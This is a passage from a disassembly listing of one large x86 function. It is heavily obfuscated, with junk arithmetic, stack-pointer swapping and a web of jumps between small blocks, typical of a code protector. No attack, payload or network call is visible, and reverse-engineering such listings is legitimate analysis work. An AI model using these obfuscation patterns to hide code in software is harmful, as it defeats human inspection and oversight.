		add	ecx, ebx
		pop	ebx
		jmp	loc_59E11B
; ---------------------------------------------------------------------------


loc_5A5B7A:				; CODE XREF: sub_58A891+1851Aj
		add	esi, 4
		jmp	loc_5ADA77
; ---------------------------------------------------------------------------


loc_5A5B85:				; CODE XREF: sub_58A891+127C4j
		mov	ebx, 63144FC5h
		add	edx, ebx
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A5B98:				; CODE XREF: sub_58A891+23804j
		mov	esp, [esp+72h+var_74+2]
		mov	[esp+72h+var_74+2], ebx
		jmp	loc_5A32B5
; ---------------------------------------------------------------------------


loc_5A5BA3:				; CODE XREF: sub_58A891+18057j
		sub	esp, 4
		jmp	loc_5A6E44
; ---------------------------------------------------------------------------


loc_5A5BAE:				; CODE XREF: sub_58A891+1E4FCj
		push	esi
		push	edi
		mov	edi, 63F16C5Eh
		jmp	loc_5AF8BA
; ---------------------------------------------------------------------------


loc_5A5BBA:				; CODE XREF: sub_58A891+25DDDj
		push	[esp+3Eh+var_3C+2]
		jmp	loc_5AA09A
; ---------------------------------------------------------------------------


loc_5A5BC3:				; CODE XREF: sub_58A891+15F51j
		xor	ebx, [esp-26h+arg_1C+2]
		mov	esp, [esp-26h+arg_1C+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp-26h+arg_1C+2], edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_5AB215
; ---------------------------------------------------------------------------


loc_5A5BEC:				; CODE XREF: sub_58A891+1221Aj
		sub	ebp, 718E0B11h
		push	[esp+8Ah+var_8A]
		pop	edi
		add	esp, 4
		jmp	loc_5A0BAA
; ---------------------------------------------------------------------------


loc_5A5BFE:				; CODE XREF: sub_58A891+1422Cj
					; sub_58A891+22B11j
		neg	eax
		jmp	loc_5B1485
; ---------------------------------------------------------------------------


loc_5A5C05:				; CODE XREF: sub_58A891+24B2Aj
		add	ch, ah
		pop	eax
		and	al, ch
		mov	ecx, [esp-0Eh+arg_4+2]
		add	esp, 4
		xor	al, 0C2h
		add	bl, al
		jmp	loc_5A6A26
; ---------------------------------------------------------------------------


loc_5A5C1C:				; CODE XREF: sub_58A891+25163j
		and	ebp, 32E559F7h
		push	ebp
		jmp	loc_5A33F5
; ---------------------------------------------------------------------------


loc_5A5C28:				; CODE XREF: sub_58A891+19470j
		and	eax, ebp
		push	dword ptr [esp+0]
		pop	ebp
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 36E6C24h
		jmp	loc_5ABFB0
; ---------------------------------------------------------------------------


loc_5A5C47:				; CODE XREF: sub_58A891+182C6j
		and	ecx, 2B342377h
		or	ecx, 3448603Ah
		jmp	loc_5AB870
; ---------------------------------------------------------------------------


loc_5A5C58:				; CODE XREF: sub_58A891+21AEFj
		push	4D19h
		mov	[esp+82h+var_82], ecx
		push	6ADBh
		mov	[esp+86h+var_86], esi
		mov	esi, 699541BCh
		dec	esi
		jmp	loc_5A6027
; ---------------------------------------------------------------------------


loc_5A5C73:				; CODE XREF: sub_58A891+2100Bj
		add	edx, 12CB394Dh
		sub	edx, ecx
		sub	edx, 12CB394Dh
		mov	ecx, [esp+86h+var_86]
		add	esp, 4
		jmp	loc_5A82E9
; ---------------------------------------------------------------------------
		lodsd
		push	5396h
		mov	[esp+86h+var_86], ebp
		jmp	loc_5AA35C
; ---------------------------------------------------------------------------


loc_5A5C9A:				; CODE XREF: sub_58A891+1F7EBj
		add	ebx, edx
		sub	ebx, 412218ECh
		jmp	loc_5A8523
; ---------------------------------------------------------------------------


loc_5A5CA7:				; CODE XREF: sub_58A891+1E493j
		xor	[esp+86h+var_86], ebx
		xor	ebx, [esp+86h+var_86]
		pop	esp
		jmp	loc_5B0971
; ---------------------------------------------------------------------------


loc_5A5CB3:				; CODE XREF: sub_58A891+202A1j
		jz	loc_5A3AF3
		push	edx
		mov	dl, 1
		sub	cl, dl
		pop	edx
		jmp	loc_5A036A
; ---------------------------------------------------------------------------


loc_5A5CC4:				; CODE XREF: sub_58A891+1B103j
		pop	esp
		mov	[esp+0D6h+var_D8+2], eax
		push	49D5h
		mov	[esp+0DAh+var_DC+2], esp
		add	[esp+0DAh+var_DC+2], 4
		jmp	loc_5AC44D
; ---------------------------------------------------------------------------


loc_5A5CD9:				; CODE XREF: sub_58A891+12510j
		pop	[esp+8Eh+var_8E]
		mov	esp, [esp+8Ah+var_8A]
		jmp	loc_59E52E
; ---------------------------------------------------------------------------


loc_5A5CE4:				; CODE XREF: sub_58A891+123E0j
		mov	ecx, 2F3D7EF4h
		jmp	loc_5A1CCE
; ---------------------------------------------------------------------------


loc_5A5CEE:				; CODE XREF: sub_58A891+13CA7j
		push	57EAh
		mov	[esp+26h+var_28+2], ebp
		mov	ebp, esp
		jmp	loc_5A68B8
; ---------------------------------------------------------------------------


loc_5A5CFD:				; CODE XREF: sub_58A891+209EEj
		mov	[esp+26h+var_28+2], ecx
		jmp	loc_5B069A
; ---------------------------------------------------------------------------


loc_5A5D05:				; CODE XREF: sub_58A891+18507j
		push	6AAC7D9Eh
		pop	edx
		mov	esi, edx
		jmp	loc_5A8A4F
; ---------------------------------------------------------------------------


loc_5A5D12:				; CODE XREF: sub_58A891+2764Fj
		push	edx
		mov	edx, 24744742h
		add	edx, 4D20351Ch
		shl	edx, 6
		jmp	loc_5A4D59
; ---------------------------------------------------------------------------


loc_5A5D26:				; CODE XREF: sub_58A891+14DDDj
		push	0E38h
		mov	[esp+0Ah+var_C+2], ebp
		sub	esp, 4
		push	esp
		jmp	loc_5AE252
; ---------------------------------------------------------------------------


loc_5A5D37:				; CODE XREF: sub_58A891+11EBDj
		neg	eax
		jmp	loc_5A9B82
; ---------------------------------------------------------------------------


loc_5A5D3E:				; CODE XREF: sub_58A891+1A8CCj
		pop	esp
		pop	small word ptr [esp-12h+arg_8+2]
		push	small 15E9h
		mov	word ptr [esp-12h+arg_8+2], di
		push	small 1AA2h
		mov	word ptr [esp-10h+arg_8], cx
		mov	di, word ptr [esp-10h+arg_8]
		add	esp, 2
		mov	cx, [esp+0]
		sub	esp, 4
		mov	[esp-10h+arg_8], edi
		mov	edi, esp
		push	edx
		mov	edx, 95D52CCh
		neg	edx
		jmp	loc_5A1E7C
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ebx
		mov	ebx, esp
		jmp	loc_5B01F0
; ---------------------------------------------------------------------------


loc_5A5D81:				; CODE XREF: sub_58A891+1F8DAj
		pop	edi
		push	eax
		push	[esp-8+arg_4]
		mov	eax, [esp+0]
		jmp	loc_5B0A62
; ---------------------------------------------------------------------------


loc_5A5D8F:				; CODE XREF: sub_58A891+21B7Ej
		push	506h
		mov	[esp+0], edi
		jmp	loc_5A0255
; ---------------------------------------------------------------------------


loc_5A5D9C:				; CODE XREF: sub_58A891+16E9Dj
		xor	edi, 0A7879CACh
		jmp	loc_59EACD
; ---------------------------------------------------------------------------


loc_5A5DA7:				; CODE XREF: sub_58A891+14EB5j
		xor	edi, esi
		mov	esi, [esp+86h+var_86]
		add	esp, 4
		and	edi, 2F8D6EE3h
		jp	loc_5A88CB
		add	edi, 0D0F30340h
		mov	eax, edi
		mov	ah, 0E6h


loc_5A5DC5:				; CODE XREF: sub_58A891+188A1j
		mov	eax, edx
		pop	edx
		jmp	loc_5AB8A1
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp+7Ah+var_7A], eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A5DDB:				; CODE XREF: sub_58A891+24907j
		pop	edx
		xor	ebx, [esp+7Ah+var_7A]
		xor	[esp+7Ah+var_7A], ebx
		jmp	loc_5AC224
; ---------------------------------------------------------------------------


loc_5A5DE7:				; CODE XREF: sub_58A891+1A7BBj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+92h+var_92]
		pop	esp
		shl	eax, 3
		and	eax, 4F7D3C96h
		sub	eax, 1
		sub	eax, 871207Bh
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xor	ebx, [esp+8Ah+var_8A]
		jmp	loc_5AC1B1
; ---------------------------------------------------------------------------


loc_5A5E17:				; CODE XREF: sub_58A891+1E283j
		add	edi, 4B3A13E6h
		pop	ecx
		push	esi
		mov	esi, 2E970B29h
		xor	esi, 2E970B29h
		jmp	loc_5A67FC
; ---------------------------------------------------------------------------


loc_5A5E2F:				; CODE XREF: sub_58A891+23FCFj
		push	esi
		mov	esi, 55FD2B73h
		jmp	loc_5A109B
; ---------------------------------------------------------------------------


loc_5A5E3A:				; CODE XREF: sub_58A891+185C4j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+72h+var_74+2]
		pop	esp
		mov	[esp+6Eh+var_70+2], eax
		mov	eax, 439B1AD1h
		xchg	eax, edx
		add	edx, 1
		xchg	eax, edx
		push	esi
		push	ecx
		mov	ecx, 2F091AE6h
		or	ecx, 50641F4Fh
		ja	loc_5A9D6A
		sub	ecx, 146F3935h
		xor	ecx, 575287EAh
		mov	esi, ecx


loc_5A5E7B:				; CODE XREF: sub_58A891+2750Bj
		mov	[esp+0], edi
		push	esp
		jmp	loc_59C75D
; ---------------------------------------------------------------------------


loc_5A5E84:				; CODE XREF: sub_58A891+23ED9j
		dec	ebp
		sub	ebp, 0D23434C3h
		and	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 739619D7h
		and	ebx, ecx
		jmp	loc_5A5693
; ---------------------------------------------------------------------------


loc_5A5E9B:				; CODE XREF: sub_58A891+1F50Bj
		sub	esp, 4
		mov	[esp+7Eh+var_7E], ecx
		push	3E49h
		push	esp
		jmp	loc_59F5CB
; ---------------------------------------------------------------------------


loc_5A5EAC:				; CODE XREF: sub_58A891+12B2Fj
		shl	esi, 2
		sub	esi, 1B28B95Eh
		xor	eax, esi
		pop	esi
		jmp	loc_5AFB88
; ---------------------------------------------------------------------------


loc_5A5EBD:				; CODE XREF: sub_58A891+21D49j
		xor	[esp+0], edi
		xor	edi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A5ECF:				; CODE XREF: sub_58A891:loc_5A7F32j
		xor	edi, 0F21C181Ch
		jmp	loc_5AE1C5
; ---------------------------------------------------------------------------


loc_5A5EDA:				; CODE XREF: sub_58A891+1304Dj
					; sub_58A891+1CA6Ej
		shl	esi, 1
		inc	esi
		jle	loc_5B2C7A
		jmp	loc_5B2F93
; ---------------------------------------------------------------------------
		add	esp, 4
		pop	edx
		inc	edx
		xchg	edx, ecx


loc_5A5EEF:				; CODE XREF: sub_58A891+12130j
		mov	[esp+8Ah+var_8A], ebx
		mov	ebx, 800h
		and	ecx, ebx
		push	[esp+8Ah+var_8A]
		pop	ebx
		jmp	loc_5A0B3E
; ---------------------------------------------------------------------------


loc_5A5F02:				; CODE XREF: sub_58A891+1FEA5j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+8Ah+var_8A]
		mov	esp, [esp+8Ah+var_8A]
		jmp	loc_59DAB3
; ---------------------------------------------------------------------------


loc_5A5F18:				; CODE XREF: sub_58A891+15768j
		xor	ebp, edi
		pop	edi
		mov	edx, ebp
		mov	ebp, [esp+32h+var_34+2]
		add	esp, 4
		sub	ebx, 71036909h
		add	ebx, edx
		jmp	loc_5A53A5
; ---------------------------------------------------------------------------


loc_5A5F30:				; CODE XREF: sub_58A891+1BC09j
		shl	ebp, 1
		jmp	loc_5A2ACB
; ---------------------------------------------------------------------------


loc_5A5F37:				; CODE XREF: sub_58A891+1690Fj
		sub	esi, offset word_5B3E72
		sub	ebp, 27E65474h
		add	ebp, esi
		jmp	loc_5A7F08
; ---------------------------------------------------------------------------


loc_5A5F4A:				; CODE XREF: sub_58A891+212EEj
		xor	edi, [esp+38h+var_38]
		xor	[esp+38h+var_38], edi
		jmp	loc_59E803
; ---------------------------------------------------------------------------


loc_5A5F55:				; CODE XREF: sub_58A891+23008j
		xor	ebx, 1AA63DC7h
		jno	loc_5A454A
		jmp	loc_5ABDD2
; ---------------------------------------------------------------------------
		neg	ebp
		jmp	loc_5AC273
; ---------------------------------------------------------------------------


loc_5A5F6D:				; CODE XREF: sub_58A891+1680Dj
		pop	esp
		mov	[esp-0Eh+arg_4+2], eax
		jmp	loc_59F09D
; ---------------------------------------------------------------------------


loc_5A5F76:				; CODE XREF: sub_58A891+13510j
		mov	eax, [esp+9Ah+var_9A]
		add	esp, 4
		push	987h
		mov	[esp+9Ah+var_9A], eax
		jmp	loc_5AC41A
; ---------------------------------------------------------------------------


loc_5A5F8C:				; CODE XREF: sub_58A891+11C62j
					; sub_58A891+2823Aj
		xor	ebp, [esp+16h+var_18+2]
		mov	esp, [esp+16h+var_18+2]
		mov	cx, word ptr [esp+16h+var_18+2]
		push	1FF2h
		mov	[esp+1Ah+var_1C+2], edi
		push	esp
		jmp	loc_5AA604
; ---------------------------------------------------------------------------


loc_5A5FA4:				; CODE XREF: sub_58A891+19649j
		sub	esp, 4
		mov	[esp+16h+var_18+2], ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 2
		add	ecx, 3388054Dh
		push	esi
		mov	esi, 3F123731h
		sub	esi, 0CDBA20FFh
		add	ecx, esi
		pop	esi
		push	edi
		mov	edi, 1A832A21h
		push	edx
		mov	edx, 21097367h
		and	edi, edx
		jmp	loc_59DCA0
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		push	0B8A35B9h
		push	[esp+2Ah+var_2C+2]
		mov	ebx, [esp+2Eh+var_30+2]
		add	esp, 4
		add	esp, 4
		push	26DFh
		mov	[esp+2Ah+var_2C+2], esi
		push	71C344A9h
		jmp	loc_59D28A
; ---------------------------------------------------------------------------


loc_5A600B:				; CODE XREF: sub_58A891+129E4j
		mov	ah, bl
		mov	dh, ah
		jmp	loc_59FD12
; ---------------------------------------------------------------------------


loc_5A6014:				; CODE XREF: sub_58A891+25899j
		pop	esp
		mov	[esp+72h+var_74+2], eax
		inc	[esp+72h+var_74+2]
		pop	eax
		push	ebp
		mov	ebp, 34BE44D8h
		jmp	loc_5A3914
; ---------------------------------------------------------------------------


loc_5A6027:				; CODE XREF: sub_58A891+1B3DDj
		shl	esi, 1
		push	ebp
		push	5E5Bh
		mov	[esp+8Eh+var_8E], ebx
		mov	ebx, 583C6EB0h
		inc	ebx
		push	ebp
		mov	ebp, 75F5393Eh
		shl	ebp, 5
		add	ebp, 46EF01BCh
		sub	ebx, ebp
		mov	ebp, [esp+92h+var_92]
		add	esp, 4
		jmp	loc_5AF86C
; ---------------------------------------------------------------------------


loc_5A6057:				; CODE XREF: sub_58A891+277BEj
		add	edx, 4
		jmp	loc_5A126D
; ---------------------------------------------------------------------------


loc_5A6062:				; CODE XREF: sub_58A891+24685j
		add	ebp, ecx
		push	ebx
		mov	ebx, 4D560590h
		neg	ebx
		push	eax
		mov	eax, 3F6E5149h
		and	ebx, eax
		pop	eax
		jmp	loc_59DADE
; ---------------------------------------------------------------------------


loc_5A607A:				; CODE XREF: sub_58A891+132BCj
					; sub_58A891+1881Fj
		push	edi
		jmp	loc_5A496A
; ---------------------------------------------------------------------------


loc_5A6080:				; CODE XREF: sub_58A891+151A9j
		mov	edi, 4D852467h
		mov	ebp, edi
		jmp	loc_5A4455
; ---------------------------------------------------------------------------


loc_5A608C:				; CODE XREF: sub_58A891+27307j
		pop	ebp
		jmp	loc_5ABCB6
; ---------------------------------------------------------------------------


loc_5A6092:				; CODE XREF: sub_58A891+23E92j
		push	493945B2h
		pop	edi
		add	edi, 0FFFFFFFFh
		xor	edi, 16D3655Ch
		jmp	loc_5AC133
; ---------------------------------------------------------------------------


loc_5A60A9:				; CODE XREF: sub_58A891+1DB6Dj
		neg	eax
		and	eax, 679C1659h
		xor	eax, 71F646BBh
		or	eax, 380F1D78h
		sub	eax, 409563EBh
		xor	eax, 0F9D9FC0Bh
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp-1Eh+arg_18+2]
		jmp	loc_5A8817
; ---------------------------------------------------------------------------


loc_5A60CF:				; CODE XREF: sub_58A891+1C10Fj
		xchg	ecx, [esp-1Eh+arg_18+2]
		pop	esp
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, 5042202Dh
		add	ebx, eax
		push	esi
		jmp	loc_5AACDD
; ---------------------------------------------------------------------------


loc_5A60EA:				; CODE XREF: sub_58A891+23AE8j
		mov	eax, edx
		pop	edx
		add	ebx, 7B2B534Eh
		add	ebx, eax
		jmp	loc_5B2266
; ---------------------------------------------------------------------------


loc_5A60FA:				; CODE XREF: sub_58A891+16EDFj
		mov	[esp-0Eh+arg_4+2], ebx
		push	[esp-0Eh+arg_8+2]
		push	[esp-0Ah+arg_0+2]
		mov	ebx, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 73521D04h
		sub	ecx, 0FDF2FEDh
		jmp	loc_59D939
; ---------------------------------------------------------------------------


loc_5A6129:				; CODE XREF: sub_58A891+20440j
					; sub_58A891+21A44j
		add	ecx, 0A9284F15h
		mov	edi, ecx
		mov	ecx, [esp+0]
		push	edi
		jmp	loc_5A666A
; ---------------------------------------------------------------------------


loc_5A613A:				; CODE XREF: sub_58A891+1ABE9j
					; sub_58A891+2857Fj
		shr	edx, 7
		xor	edx, 6762DAh
		sub	esi, edx
		mov	edx, [esp+92h+var_92]
		add	esp, 4
		xchg	esi, [esp+8Eh+var_8E]
		pop	esp
		mov	[esp+8Ah+var_8A], edx
		sub	esp, 4
		mov	[esp+8Eh+var_8E], ebx
		mov	bl, al
		push	4E54h
		mov	[esp+92h+var_92], eax
		mov	ah, bl
		mov	dl, ah
		pop	eax
		push	[esp+8Eh+var_8E]
		jmp	loc_5AE078
; ---------------------------------------------------------------------------


loc_5A6175:				; CODE XREF: sub_58A891:loc_59D4DAj
		mov	cx, word ptr [esp+2+var_4+2]
		push	ebx
		push	7E0Bh
		mov	[esp+0Ah+var_C+2], esp
		add	[esp+0Ah+var_C+2], 4
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	edi
		push	51E1h
		mov	[esp+0Eh+var_10+2], eax
		mov	eax, 36F429D8h
		jmp	loc_5A6359
; ---------------------------------------------------------------------------


loc_5A61A3:				; CODE XREF: sub_58A891+17478j
		pop	ebp
		add	esi, 1
		jmp	loc_5AAC68
; ---------------------------------------------------------------------------


loc_5A61AF:				; CODE XREF: sub_58A891+1C3D4j
		mov	[esp+3Ch+var_3C], edi
		mov	edi, 3BC14600h
		add	ecx, 0BD17359h
		sub	ecx, edi
		sub	ecx, 0BD17359h
		jmp	loc_59DDC0
; ---------------------------------------------------------------------------


loc_5A61CA:				; CODE XREF: sub_58A891+19BCEj
		or	edx, ebp
		pop	ebp
		add	edx, 1
		add	edx, 1
		add	edx, 104ADAA7h
		jmp	loc_5B1680
; ---------------------------------------------------------------------------


loc_5A61E1:				; CODE XREF: sub_58A891+23E36j
		push	eax
		sub	esp, 4
		mov	[esp+84h+var_86+2], ebx
		jmp	loc_5A9909
; ---------------------------------------------------------------------------


loc_5A61ED:				; CODE XREF: sub_58A891+258B0j
		add	esp, 4
		jmp	loc_5B0869
; ---------------------------------------------------------------------------


loc_5A61F5:				; CODE XREF: sub_58A891+237E2j
		add	esp, 4
		sub	ebp, 3D5C17F5h
		jmp	loc_5A513B
; ---------------------------------------------------------------------------


loc_5A6206:				; CODE XREF: sub_58A891+16A3Cj
		xor	ecx, 108599Eh
		sub	edi, ecx
		pop	ecx
		push	edi
		push	[esp+3Ch+var_38]
		pop	edi
		pop	[esp+3Ch+var_3C]
		pop	esp
		mov	[esp+34h+var_34], esi
		jmp	loc_5AEC33
; ---------------------------------------------------------------------------


loc_5A6221:				; CODE XREF: sub_58A891+25EDEj
		add	ebx, 0AC6BBD34h
		sub	esi, ebx
		jmp	loc_5A5772
; ---------------------------------------------------------------------------


loc_5A622E:				; CODE XREF: sub_58A891+1D2D3j
		or	ebp, 5B5D629Fh
		not	ebp
		add	ebp, 4BE12F09h
		sub	ebp, 4FE13345h
		add	esi, ebp
		jmp	loc_5A9B1C
; ---------------------------------------------------------------------------


loc_5A6249:				; CODE XREF: sub_58A891+190E3j
					; sub_58A891+20289j
		add	edi, edx
		push	[esp+92h+var_92]
		pop	edx
		add	esp, 4
		xor	edi, [esp+8Eh+var_8E]
		xor	[esp+8Eh+var_8E], edi
		jmp	loc_5ADB5B
; ---------------------------------------------------------------------------


loc_5A6260:				; CODE XREF: sub_58A891+1E3C0j
		pop	esp


loc_5A6261:				; CODE XREF: sub_58A891+25191j
		push	eax
		mov	eax, esp
		jmp	loc_5AE0E2
; ---------------------------------------------------------------------------


loc_5A6269:				; CODE XREF: sub_58A891+1A4A0j
					; sub_58A891+27704j
		xchg	ecx, edi
		pop	ecx
		push	ebx
		mov	ebx, 400478F6h
		push	0E30h
		mov	[esp-0Ah+arg_0+2], ebp
		mov	ebp, 7F293D80h
		jmp	loc_5A8FE5
; ---------------------------------------------------------------------------


loc_5A6284:				; CODE XREF: sub_58A891+266F9j
		push	edi
		mov	edi, 35490A5Ah
		mov	ebx, edi
		pop	edi
		jmp	loc_5AE754
; ---------------------------------------------------------------------------


loc_5A6292:				; CODE XREF: sub_58A891+25FA0j
		add	ecx, 4
		xor	ecx, [esp-0Ah+arg_0+2]
		xor	[esp-0Ah+arg_0+2], ecx
		xor	ecx, [esp-0Ah+arg_0+2]
		pop	esp
		add	edi, 188F4C17h
		add	edi, ebx
		push	ebx
		push	ecx
		push	27E01D1Ah
		mov	ecx, [esp+0]
		add	esp, 4
		or	ecx, 51EC4945h
		add	ecx, 34107B87h
		inc	ecx
		jz	loc_5B23B0
		sub	ecx, 0A824880Eh
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5A8F5A
; ---------------------------------------------------------------------------


loc_5A62D8:				; CODE XREF: sub_58A891+23D3Aj
		push	edi
		mov	edi, 11944EC9h
		jmp	loc_59C967
; ---------------------------------------------------------------------------


loc_5A62E3:				; CODE XREF: sub_58A891+20857j
		xor	ebx, 42590C78h
		jmp	loc_5B2E92
; ---------------------------------------------------------------------------


loc_5A62EE:				; CODE XREF: sub_58A891+125F4j
		push	eax
		mov	eax, 3C3C0C3Ah
		neg	eax
		jmp	loc_5A0046
; ---------------------------------------------------------------------------


loc_5A62FB:				; CODE XREF: sub_58A891+198A7j
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		sub	esi, ecx
		pop	ecx
		jmp	loc_5A4194
; ---------------------------------------------------------------------------


loc_5A6311:				; CODE XREF: sub_58A891:loc_5A2431j
		or	ch, 2Bh
		jmp	loc_5A498E
; ---------------------------------------------------------------------------


loc_5A6319:				; CODE XREF: sub_58A891+25934j
		push	esi
		mov	esi, 6DCD3B8Fh
		not	esi
		dec	esi
		jo	loc_5AC51D
		shr	esi, 2
		sub	esi, 0A1CA1E8h
		mov	edi, esi
		pop	esi
		sub	edi, 0F7728C7h
		add	edi, 1
		push	edi
		neg	[esp+0A8h+var_AA+2]
		pop	edi
		push	edx
		push	eax
		mov	eax, 3E80EBBAh
		mov	edx, eax
		pop	eax
		add	edi, 59B00106h
		add	edi, edx
		jmp	loc_5A99DB
; ---------------------------------------------------------------------------


loc_5A6359:				; CODE XREF: sub_58A891+1B90Dj
		push	esi
		mov	esi, 7D6D7193h
		add	esi, 24B83BC6h
		shl	esi, 7
		and	esi, 7CD90D9Ah
		jmp	loc_5AB766
; ---------------------------------------------------------------------------


loc_5A6373:				; CODE XREF: sub_58A891+199CDj
		push	edx
		mov	dl, 1
		add	al, dl
		pop	edx
		xchg	ch, al
		not	ch
		xchg	ch, al
		jmp	loc_5A59FD
; ---------------------------------------------------------------------------


loc_5A6384:				; CODE XREF: sub_58A891+282B4j
		shr	ah, 3
		add	ah, 78h
		sub	bl, 0B3h
		add	bl, ah
		jmp	loc_59F69F
; ---------------------------------------------------------------------------


loc_5A6394:				; CODE XREF: sub_58A891+25A7Aj
		xchg	edi, [esp+1Eh+var_20+2]
		jmp	loc_5A918D
; ---------------------------------------------------------------------------


loc_5A639C:				; CODE XREF: sub_58A891+12618j
		xor	ebx, esi
		xor	esi, ebx
		jmp	loc_5A1769
; ---------------------------------------------------------------------------


loc_5A63A5:				; CODE XREF: sub_58A891+22F82j
		push	ebx
		mov	ebx, 498839C5h
		inc	ebx
		push	550Dh
		mov	[esp+7Ch+var_7E+2], ebp
		push	edx
		push	ecx
		mov	ecx, 44073404h
		not	ecx
		jmp	loc_5AD97A
; ---------------------------------------------------------------------------


loc_5A63C2:				; CODE XREF: sub_58A891+194D0j
		xchg	cl, al
		not	cl
		jmp	loc_5AB3DE
; ---------------------------------------------------------------------------


loc_5A63CB:				; CODE XREF: sub_58A891+1AD5Ej
		mov	edi, 4EA73EE1h
		xor	edi, 14ED1C39h
		sub	edi, 359544E4h
		not	edi
		xchg	ecx, edi
		xchg	eax, ecx
		not	eax
		xchg	eax, ecx
		xchg	ecx, edi
		inc	edi
		push	esi
		push	ecx
		mov	ecx, 74C14998h
		mov	esi, ecx
		pop	ecx
		xchg	ebx, esi
		push	ebx
		not	[esp+8Ah+var_8A]
		pop	ebx
		jmp	loc_5A6878
; ---------------------------------------------------------------------------


loc_5A63FD:				; CODE XREF: sub_58A891+22394j
		sub	esp, 4
		mov	[esp+8Ah+var_8A], ebp
		mov	ebp, 36E75304h
		dec	ebp
		jmp	loc_59F6F4
; ---------------------------------------------------------------------------


loc_5A640E:				; CODE XREF: sub_58A891+1AC96j
		push	esi
		mov	esi, esp
		push	ebx
		jmp	loc_59EF2B
; ---------------------------------------------------------------------------


loc_5A6417:				; CODE XREF: sub_58A891+17506j
		xor	ecx, 76CD8EF7h
		mov	eax, ecx
		pop	ecx
		jmp	loc_59D0FC
; ---------------------------------------------------------------------------


loc_5A6425:				; CODE XREF: sub_58A891+1AB22j
		mov	ebx, [esp+92h+var_92]
		add	esp, 4
		push	44A2h
		mov	[esp+92h+var_92], edx
		jmp	loc_5AED87
; ---------------------------------------------------------------------------


loc_5A643B:				; CODE XREF: sub_58A891+165DCj
		jmp	loc_5AD5D1
; ---------------------------------------------------------------------------


loc_5A6440:				; CODE XREF: sub_58A891+19279j
		sub	edi, 0A92B10CCh
		inc	edi
		sub	edi, 7CDB54C4h
		shr	edi, 2
		sub	esp, 4
		mov	[esp-12h+arg_8+2], eax
		mov	eax, 277E869Ah
		jmp	loc_5A21D0
; ---------------------------------------------------------------------------


loc_5A6460:				; CODE XREF: sub_58A891+11A4Cj
		shr	ebp, 8
		jmp	loc_5A5781
; ---------------------------------------------------------------------------


loc_5A6468:				; CODE XREF: sub_58A891+1A8A5j
		jge	loc_5A9480
		xchg	ebx, edx
		push	ebx
		not	[esp-0Eh+arg_4+2]
		pop	ebx
		xor	edx, ebx
		xor	ebx, edx
		xor	edx, ebx
		mov	bh, al


loc_5A647D:				; CODE XREF: sub_58A891+1281Dj
		mov	edx, [esp+7Eh+var_7E]
		add	esp, 4
		and	eax, edx
		pop	edx
		jmp	loc_59EA75
; ---------------------------------------------------------------------------


loc_5A648B:				; CODE XREF: sub_58A891+19A81j
		push	ecx
		push	497Dh
		mov	[esp+78h+var_7A+2], ebp
		mov	ebp, 0EC502E5h
		inc	ebp
		jnp	loc_5A5F30
		shl	ebp, 1
		jmp	loc_5AA081
; ---------------------------------------------------------------------------
		sub	esi, offset word_5B3E72


loc_5A64AD:				; CODE XREF: sub_58A891+1CFFDj
		mov	[esp+78h+var_7A+2], edx
		push	eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A64B7:				; CODE XREF: sub_58A891+17692j
		pop	edx
		push	ecx
		mov	ecx, 7C1B67ECh
		jmp	loc_5AF7F3
; ---------------------------------------------------------------------------


loc_5A64C3:				; CODE XREF: sub_58A891+17C22j
		sub	ebx, edi
		jmp	loc_5AAE08
; ---------------------------------------------------------------------------


loc_5A64CA:				; CODE XREF: sub_58A891+1AD4Bj
		mov	edx, esi
		pop	esi
		push	edi
		mov	edi, 423D58BAh
		jmp	loc_5AEE16
; ---------------------------------------------------------------------------


loc_5A64D8:				; CODE XREF: sub_58A891+138BCj
					; sub_58A891+1844Fj
		inc	edx
		sub	edx, 0E0C3128Bh
		sub	ebp, edx
		pop	edx
		add	ebp, 0FFFFFFFFh
		xor	ebp, 225C363Fh
		add	ebp, 710DF97h
		add	eax, ebp
		pop	ebp
		sub	ecx, eax
		pop	eax
		jmp	loc_5A80AA
; ---------------------------------------------------------------------------


loc_5A64FF:				; CODE XREF: sub_58A891+17C68j
		jmp	loc_5AF7A8
; ---------------------------------------------------------------------------


loc_5A6504:				; CODE XREF: sub_58A891+23877j
		mov	ebx, esp
		jmp	loc_5A8AA4
; ---------------------------------------------------------------------------


loc_5A650B:				; CODE XREF: sub_58A891+27A06j
		mov	[esp+2Ah+var_2C+2], ebx
		push	eax
		push	ecx
		mov	cl, dl
		mov	al, cl
		pop	ecx
		mov	bl, al
		mov	eax, [esp+2Eh+var_30+2]
		add	esp, 4
		push	ecx
		mov	cl, bl
		mov	al, cl
		pop	ecx
		mov	ebx, [esp+2Ah+var_2C+2]
		jmp	loc_5A69D0
; ---------------------------------------------------------------------------


loc_5A652B:				; CODE XREF: sub_58A891+1CEEEj
		push	esp
		pop	[esp+2Eh+var_30+2]
		push	edi
		push	esi
		mov	esi, 4
		mov	edi, esi
